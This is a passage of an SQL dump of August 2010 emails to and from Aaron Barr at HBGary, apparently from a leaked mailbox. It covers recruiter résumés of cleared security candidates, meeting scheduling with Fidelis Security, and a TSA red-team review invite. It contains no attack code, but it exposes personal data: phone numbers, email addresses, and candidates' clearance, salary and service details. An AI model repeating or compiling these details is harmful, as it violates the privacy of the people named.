&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PROFESSIONAL MEMBERSHIPS&nbsp;Information Systems Security AssociationAssociation of Certified Fraud Examiners.Fraternal Order of Police, Baltimore County, Maryland.American Legion, Military Veterans.\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;&lt;NPA_color.jpg&gt;We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',8697,'aaron_hbgary_com/8697.html'),(10540,'2010-08-18','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297008182.M118738P14101Q5395.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Update','Hard to believe it was intentional, especially given the DNI was ignorant.\r\nThat would be a major faux fax.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 12:10 PM\r\nTo: Conroy, Thomas W.\r\nSubject: EXTERNAL:Update\r\n\r\nHi Tom,\r\n\r\nI just wanted to close the loop on the conversation.  I got a call late last\r\nweek and gave the folks up north a call on a secure line, gave them my\r\ninformation in detail.  They said if they had any follow up that was needed\r\nthey would give me a call.  So I think that is it.\r\n\r\nSomething that occurred to me.  Maybe they are ok with the level of\r\ninformation that is discernible?  This whole thing, if not a fluke, is very\r\ninteresting in that it happened, was allowed, etc.  Maybe a current change?\r\nNo need to take unnecessary risks though.\r\n\r\nAaron\r\n',9014,'aaron_hbgary_com/9014.html'),(10541,'2010-08-18','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008182.M534183P14101Q5396.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Cyber Recruits!','Hi Aaron,If you have a moment and want to chat you can call me on 301-365-3291On Aug 18, 2010, at 12:21 PM, Aaron Barr wrote:Thanks. &nbsp;Sure I am interested to discuss this with you. &nbsp;I would like to get a little more detail on how the fee works, is it yearly, etc.We are at the moment very small but have a number of opportunities available and upcoming. &nbsp;Given the cost competitive nature of some of these contracts yet the strong competitive environment for good talent, well its both a good and tough environment for a small company to get started.I am looking to fill the following positions:IC Customer VA (full poly) reverse engineerIC Customer MD (full poly) Malware analyst/Intel AnalystFBI ESOC (forensics, cyber intelligence, SOC)Resumes for NoVa SOC:1. Lead Forensics2. Lead Incident Response3. Lead Cyber Intelligence4. Lead Threat Management5. Lead SOC ManagerI am pretty free today working proposal writeups.Thanks,AaronOn Aug 18, 2010, at 10:23 AM, Ed Wallach wrote:Hi Aaron,I\'m available this week to discuss recruiting for HB Gary.We have a number of highly qualified candidates we have recruited for our other clients. These include VR, Ethical hacking, Pen Testing, reverse engineering, most with at least a ts/sci and some with fullscope polys.My office is right near montgomery mall.I\'m ready to roll when you are!Edhere\'s a few samples below:1)candidate 1Lives in MDDesires $120K MinimumTop Secret SCI Clearance until 2013Need more challenging work than Navy provides. &nbsp;Focus career path in a large company with room for growth.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bachelor of Science in Information Systems Security, MAGNA CUM LAUDE; Certified Information Systems Security Professional (CISSP) 363829;&nbsp;Certified Ethical Hacker&nbsp;(CEH); EC-Council Certified Security Analyst (ECSA); Computer Hacking Forensics Investigator (CHFI).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Multidisciplinary management &amp; technical experience – enterprise wide IC IA policy development, CNA/CND/CNE, Technical Assurance, EAL, NIST, DIACAP, INFOCON, STIG, IAVM, risk mitigation strategies, penetration testing,&nbsp;vulnerability assessment, intrusion detection/response, Nessus, Snort, Metasploit,&nbsp;Common Vulnerabilities and Exposures&nbsp;(CVE), Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, digital network intelligence &amp; analysis, exploitation testing.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Top Secret Sensitive Compartmented Information clearance and Counter-Intelligence Polygraph, valid from 2000 through 2013.&nbsp;&nbsp; &nbsp; Member of Institute of Electrical and Electronics Engineers (IEEE) since January 2006, Member of Association of Information Technology Professionals&nbsp;(AITP) since January 2007, advisor to the AITP Chairman of Standards of Conduct and Code of Ethics Committee, Member of National University Cyber&nbsp;Security Information Assurance Advisory Counsel, HOA Secretary for 109 unit community.&nbsp;&nbsp;Published contributing author, published IEEE GOLD newsletter article, webinar speaker, and public conference speaker.EMPLOYMENTNavy Information Operations Command Suitland&nbsp;(research &amp; development agency for the US Navy)	Dec 07-PresentComputer Network Operations (CNO) Research &amp; Development Manager&nbsp;| Tech: Wireshark, Snort, IDA Pro, ProcessExplorer, Strings, Web Application Attack and Audit Framework (w3af),&nbsp;Common Vulnerabilities and Exposures (CVE) and Nessus vulnerability scanner.Manage 10 person technical team multi-million dollar projects. Experience in program management, request for proposals, product deliver, software application user acceptance testing/evaluation, man-train-equip personnel strategy, technical assurance software evaluation level of assurance processes and software development life cycle procedures supporting the federal landscape.The Computer Network Defense Group LLC&nbsp;(cybersecurity information assurance consulting firm)		Oct 08-PresentChief Executive Officer&nbsp;| Tech: Nessus, Snort, Metasploit, Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, NMAP, and open source intelligence collection analysis tools.Chief Cyber Security Consultant, lead penetration testing teams, vulnerability assessments and risk mitigation assessments.&nbsp;Business acumen: Procured two professional consulting service agreements, two statements of work, one paid sponsor agreement; Experience in&nbsp;drafting RFP responses, business development, service development and delivery, marketing, and advertising.United States Cyber Command&nbsp;(formally Joint Functional Component Command – Network Warfare)	Aug 08-Dec 08Computer Network Operations Subject Matter Expert, Senior&nbsp;| Tech: tcpdump, Hping, wget, Dragon IDS, Cisco devices, SonicWALL.Managed team of 15 persons, responsible for coordinating offensive computer network operations for the United States Department of Defense and other federal agencies. This component facilitates cooperative engagement with other national entities in computer network defense and offensive information warfare as part of the global information operations mission.Navy Information Operations Command San Diego											Oct 05-Dec 07Computer Network Defense Operations Manager&nbsp;|Tech: Encase, RealSecure IDS, Snort IDS, eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, Nessus vulnerability scanner, NMAP, and Common Vulnerabilities and Exposures (CVE).Directed 300+ vulnerability and penetration security assessments on 300+ networks. Managed overall network security team of 25 persons and 18 networks across the Pacific Ocean.&nbsp;Lead instructor of passive network analysis, log analysis, intrusion detection, defensive tool installation and configuration for 100+ local customers and 100+ global customers across the Pacific Ocean.Fleet Information Warfare Command, Detachment San Diego									Oct 04-Oct 05Computer Network Defense Analyst, Senior&nbsp;|Tech: Nessus, Snort, IDSCenter, Encase, iptables, tcp wrapper, Ethereal (a.k.a. Wireshark).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed incident response team for Commander, U.S. Naval Forces Central Command; Commander, U.S. Fifth Fleet. Led 150+ vulnerability and penetration security assessments on 300+ networks. Managed 50+ incident response conditions and 20+ incident response teams for Commander, Third Fleet; Commander, Seventh Fleet; and Commander, Fifth Fleet.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Senior instructor of security courses focusing on vulnerability scanning, vulnerability analysis, event monitoring and compliance reporting, incident handling, and penetration testing for 100+ customers.Fleet Intelligence Training Center Pacific, San Diego											Aug 03-Oct 04Communications Watch Officer&nbsp;|Tech: Unix/Solaris/Windows 2K, T1/OC, DMS, encryption devices, Cisco devices, Symantec Security Center.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Operations Center lead systems administrator for 1,000+ customers and 2,000+ communications circuits ranging from west of the Mississippi river to the Hawaiian Islands.USS HIGGINS (DDG-76) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;													Oct 00 - Aug 03Systems Administrator&nbsp;|Tech: Unix/Windows NT enterprise network, Cisco devices, Norton Anti-virus (enterprise), Office 2000.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sensitive Compartmented Information Automated Digital Network Systems (SCI-ADNS) shift worker responsible for Ship Signals Exploitation Space (SSES) global network connectivity which included 20 voice and data circuits and three networked domains.EDUCATIONWestwood College, Denver, CO															May 09BS in Information Systems Security	Magna Cum Laude (GPA 3.97)MILITARYUnited States Navy Active Duty															Oct 00 - Present·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experienced in Information Operations, (a.k.a. Information Warfare), Computer Network Operations: Computer Network Defense, Computer Network Exploitation and Computer Network Attack.&nbsp; Received various personal commendations and awards.2)candidate 2Lives in MDSECURITY CLEARANCE&nbsp;Department of Defense TS/SCI security clearance, with a current Full Scope Polygraph.&nbsp;PROFESSIONAL CERTIFICATION:&nbsp;Certified Information Systems Security Professional (CISSP).WORK EXPERIENCE&nbsp;Computer Sciences Corporation-Enforcement, Security and Intelligence Division –Information Systems Security Officer-February, 2009 to Present.Perform vulnerability assessment scans on production and operational network servers and workstations.Monitor adjustments, updates and changes made to all production and operational servers and workstations, using Tripwire configuration monitoring tools.&nbsp;Assist in providing oversight and enforcement of security directives, orders, standards, plans and procedures.Enforce all information system security procedures in reference to the production, testing, certification and accreditation, and deployment of information systems.&nbsp;Review system security plans and concept of operation documentation to ensure system configuration accuracy.&nbsp;Computer Sciences Corporation/Eagle Alliance- Information Systems Security Officer -August, 2006 to February, 2009.Member of a team responsible for investigating computer security incidents, and reporting recommendations through established channels of authority to mitigate risks or enact change.Maintained critical System Security Plans (SSP’s) for a government client and provides customers with Certification and Accreditation (C&amp;A) assistance, for all inquiries and concerns with respect to installation, operation, maintenance, configuration management and protection of classified and unclassified network devices.Performed life cycle responsibilities and advises modernization change boards, regarding current security posture and repercussions to existing accreditation during modernization.&nbsp;One of the centralized contacts of the Information Security program advising client personnel on policy and good security practices.&nbsp;Conducted monthly briefings to newly hired personnel, with regard to Information Systems Security and proper reporting procedures during the event of a computer security incident.&nbsp;IKON Office Solutions- February, 2006 to August, 2006. &nbsp;Sales representative of document management devices and Multi-Functional Processors (MFP’s, printers, scanners, copiers and other software and professional services).Provided customer support and training for IKON Office Solutions business accounts.Performed various canvassing and marketing activities, to identify and acquire new business.&nbsp;National Security Agency Police Officer, December 13, 2004 – February, 2006.&nbsp;Conducted a myriad of law enforcement and physical security duties for the Department of Defense, in protection of their assets and personnel.Performed a variety of tasks in support of the police department’s main mission, which is counter-terrorism and force protection.Composed numerous incident reports on mitigation of security, medical, and fire emergencies.Managed and controlled personnel access, through monitoring pedestrian and vehicular access points.Responsible for the enforcement of laws and regulations, both federal and state, relative to the protection of life and property.Conducted routine investigation of any possible breach of security or compromise of classified material.United States Navy/ December 19, 1995 – April 27, 2004.&nbsp; Honorable service and discharge.&nbsp;Integrated Undersea Surveillance Systems Supervisor, Acoustic Intelligence Analyst, U.S. Navy,2001- 2004Supervised watch personnel during analysis, tracking and reporting of time critical acoustic contacts, in support of Atlantic Fleet operations.Professionally supervised watch team members, while participating in over 95 different command missions.Provided positioning and acoustic data on over 285 contacts, in support of Noble Eagle and Homeland defense.Suggested improvements to watch station procedures, which resulted in smoother operations and lower volume of classified paperwork.Developed search areas for time critical intelligence data, and drafted tactical messages for Atlantic Fleet forces.&nbsp;Naval Recruiter Canvasser, Naval Recruiting District Philadelphia, U.S. Navy, 2000-2001Identified qualified civilians for enlistment into the United States Navy, through various recruiting techniques.Prospected candidates, conducted interviews, completed enlistment records and counseled rejected applicants.Identified target market populations through analyzing recruiting results, and formulated plans for improving the marketing and recruiting process.Managed the delayed entry program, resulting in a significant decrease in recruit attrition levels, and contributed to the recruiting district making goal for the year.Counseled new recruits on their transition into the Navy, and prepared them for recruit training.Conducted basic background investigations on qualified applicants, based on police records and references listed on application, and National Security background information.&nbsp;Anti-Submarine Warfare Systems Operator, Acoustic Intelligence Analyst, USS George Washington, U.S. Navy, 1997-2000Supported operation of the anti-submarine warfare module through utilization of tactical display, acoustic intelligence, and electronic warfare, environmental and associated equipment.Formatted Maritime messages, acoustic intelligence (MASINT) data submission, and tactical mission briefing, debriefing, and reconstruction in support of carrier airborne operations.Provided safety and security for over 5,000 personnel onboard, as a member of the shipboard police force.Participated in over 50 military flights as a Naval Air Crewman, in support of Anti-Submarine warfare missions.Managed the Respiratory safety program and database for over 2,500 personnel while in the Norfolk Naval Shipyard.Participated in a myriad of physical security and law enforcement duties, for 10 months, while attached to the ships Master at Arms police force.&nbsp;EDUCATION AND TRAINING&nbsp;Master of Science degree in Forensic Studies, Investigations Track, 12/2008 (3.85 GPA)Stevenson University (formerly Villa Julie College).&nbsp; Computer Forensics and Security classes: Forensic Information Technology, Windows Forensic Examinations (Introduction to Encase), Information Systems Security Management, IT Operational Environment, Architecture and Infrastructure and Information Technology Law and Enforcement.Master of Science degree in Criminal Justice, 6/2006, Troy University.&nbsp;Bachelor of Science degree (concentrations in Psychology and Administrative/Management Studies) 7/2003. Excelsior College.Basic Police Officer Training Program, Federal Law Enforcement Training Center, 10 weeks.&nbsp; Glynco, Georgia, 2005.Law Enforcement and Physical Security Training, Department of Defense.&nbsp; 6 weeks of follow on training after graduation from the Federal Law Enforcement Training Center.IS Security Classes: Operational Security Fundamentals, Introduction to Operational Information Assurance, Malicious Code Threat, Operational Information Assurance, A Systems Approach to Threat and Vulnerabilities, Introduction to Information Security, Operational Information Assurance for Managers, Introduction to Key Management, Security and Intrusion Detection Fundamentals, Introduction to System and Network Security, Ethical Hacking and Countermeasures.&nbsp;&nbsp;AWARDS AND PROFESSIONAL EVALUATIONS&nbsp;Received an Award of Excellence for performance of duties during a special project dealing with Information Security and Assurance.&nbsp; Awarded August 2007.&nbsp; (Eagle Alliance)Performance Award for making outstanding contributions to the client’s Information Assurance and Security Program.&nbsp; Awarded July 2007.&nbsp; (Eagle Alliance)Sailor of the year, for the calendar year of 2003.&nbsp;Sailor of the Quarter, for the fourth quarter of Fiscal year 2003.2 Good Conduct medals while serving on Active Duty.&nbsp; First medal awarded on 12/19/1999, and second medal awarded 12/19/2003.3 letters of Commendation, while onboard the USS G. Washington, for superior performance.1 letter of appreciation, for volunteer service in Haifa, Israel.1 Navy and Marine Corps achievement medal, for exceptional performance of duties as watch supervisor and acoustic analyst, from 2001-2004. Awarded on 3/4/2004.Ranked the number one E-5 in the command, during the last evaluation period of active duty service.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PROFESSIONAL MEMBERSHIPS&nbsp;Information Systems Security AssociationAssociation of Certified Fraud Examiners.Fraternal Order of Police, Baltimore County, Maryland.American Legion, Military Veterans.\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;&lt;NPA_color.jpg&gt;We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',8619,'aaron_hbgary_com/8619.html'),(10542,'2010-08-18','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297008182.M803211P14101Q5397.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI would like to get a few minutes with you and to introduce Will\r\nIrace.\r\n\r\n&nbsp;\r\n\r\nCan you do after 3pm CT today or before 12noon CT tomorrow?\r\n\r\n&nbsp;\r\n\r\n-tr\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\nDirector, West Region\r\n\r\n214.505.3136 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 9:39 AM\r\nTo: Richardson, Toby\r\nSubject: Re: Fidelis\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nToby,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry if I dropped this, I am working on a large proposal\r\nand just got heads down. &nbsp;Do you still want to talk about this, maybe\r\ntoday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 16, 2010, at 4:06 PM, Richardson, Toby wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you have 30 mins for a call either of the next 2 days?&nbsp;\r\nWill Irace, included on this thread, is the SE for Broadcom and I wanted to\r\nbring him into the loop of our discussion.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-tr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\r\n\r\n\r\n\r\nDirector, West Region\r\n\r\n\r\n\r\n\r\n\r\n214.505.3136\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, August 10,\r\n2010 11:31 AM\r\nTo:&nbsp;Richardson, Toby\r\nSubject:&nbsp;Re: Fidelis\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Toby,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am excited about this. &nbsp;I think we can do this for\r\naround 30K for the 30 days. &nbsp;Does that sounds reasonable or doable to you?\r\n&nbsp;I would like to talk again to makes sure I am clear on your constraints,\r\nobjectives, etc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 6, 2010, at 4:28 PM, Richardson, Toby wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nwas great talking to you this morning.&nbsp; I look forward to working with you.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-tr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nToby Richardson\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDirector, Western Region\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFidelis Security\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDallas, Texas\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhone:&nbsp; 214.505.3136\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.jpg&gt;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSee It in Action: Fidelis XPS&#8482;&nbsp;Latest Threat Migitation\r\nFeatures\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRead All About It:&nbsp; Fidelis XPS&nbsp;Prevents Advanced Cyber\r\nThreats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9514,'aaron_hbgary_com/9514.html'),(10543,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008183.M134494P14101Q5398.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','Re: TSA ITSSS Red Team','Kirby,Did u send the fax?AaronOn Aug 18, 2010, at 9:39 AM, Kirby Kintner wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Saturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).\r\nWhere: DMI Facility, Bethesda\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nAgenda:\r\n&nbsp;\r\n1PM – 1:15 Kick-off\r\n1:15 - 3:30 Review\r\n3:30 – 4&nbsp; Develop Top Ten list \r\n4PM - Dismiss\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n&lt;Mail Attachment.ics&gt;',1588,'aaron_hbgary_com/1588.html'),(10544,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008183.M581435P14101Q5399.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: EXTERNAL:Update','OK.  I wasn\'t sure about the dynamics.  Well we did our part.\r\n\r\nOn Aug 18, 2010, at 12:19 PM, Conroy, Thomas W. wrote:\r\n\r\n> Hard to believe it was intentional, especially given the DNI was ignorant.\r\n> That would be a major faux fax.  \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 18, 2010 12:10 PM\r\n> To: Conroy, Thomas W.\r\n> Subject: EXTERNAL:Update\r\n> \r\n> Hi Tom,\r\n> \r\n> I just wanted to close the loop on the conversation.  I got a call late last\r\n> week and gave the folks up north a call on a secure line, gave them my\r\n> information in detail.  They said if they had any follow up that was needed\r\n> they would give me a call.  So I think that is it.\r\n> \r\n> Something that occurred to me.  Maybe they are ok with the level of\r\n> information that is discernible?  This whole thing, if not a fluke, is very\r\n> interesting in that it happened, was allowed, etc.  Maybe a current change?\r\n> No need to take unnecessary risks though.\r\n> \r\n> Aaron\r\n\r\n',11869,'aaron_hbgary_com/11869.html'),(10545,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008183.M919222P14101Q5400.eml','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','Re: Fidelis','How does 9am CT tomorrow sound? &nbsp;I have a 1:30 ET meeting tomorrow.AaronOn Aug 18, 2010, at 12:21 PM, Richardson, Toby wrote:I would like to get a few minutes with you and to introduce Will Irace.&nbsp;Can you do after 3pm CT today or before 12noon CT tomorrow?&nbsp;-tr&nbsp;&nbsp;&nbsp;++++++++++++++++++++++++++++++++++++++++++++++++Director, West Region214.505.3136&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 18, 2010 9:39 AMTo:&nbsp;Richardson, TobySubject:&nbsp;Re: Fidelis&nbsp;Toby,&nbsp;Sorry if I dropped this, I am working on a large proposal and just got heads down. &nbsp;Do you still want to talk about this, maybe today?&nbsp;Aaron&nbsp;On Aug 16, 2010, at 4:06 PM, Richardson, Toby wrote:Aaron&nbsp;Do you have 30 mins for a call either of the next 2 days?&nbsp; Will Irace, included on this thread, is the SE for Broadcom and I wanted to bring him into the loop of our discussion.&nbsp;-tr&nbsp;++++++++++++++++++++++++++++++++++++++++++++++++Director, West Region214.505.3136&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, August 10, 2010 11:31 AMTo:&nbsp;Richardson, TobySubject:&nbsp;Re: Fidelis&nbsp;Hi Toby,&nbsp;I am excited about this. &nbsp;I think we can do this for around 30K for the 30 days. &nbsp;Does that sounds reasonable or doable to you? &nbsp;I would like to talk again to makes sure I am clear on your constraints, objectives, etc.&nbsp;Aaron&nbsp;&nbsp;On Aug 6, 2010, at 4:28 PM, Richardson, Toby wrote:Aaron&nbsp;It was great talking to you this morning.&nbsp; I look forward to working with you.&nbsp;Best&nbsp;-tr&nbsp;Toby RichardsonDirector, Western Region&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;Fidelis SecurityDallas, TexasPhone:&nbsp; 214.505.3136&nbsp;http://www.fidelissecurity.com&lt;image001.jpg&gt;&nbsp;See It in Action: Fidelis XPS™&nbsp;Latest Threat Migitation FeaturesRead All About It:&nbsp; Fidelis XPS&nbsp;Prevents Advanced Cyber Threats&nbsp;&nbsp;&nbsp;',9593,'aaron_hbgary_com/9593.html'),(10546,'2010-08-18','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297008184.M293143P14101Q5401.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: 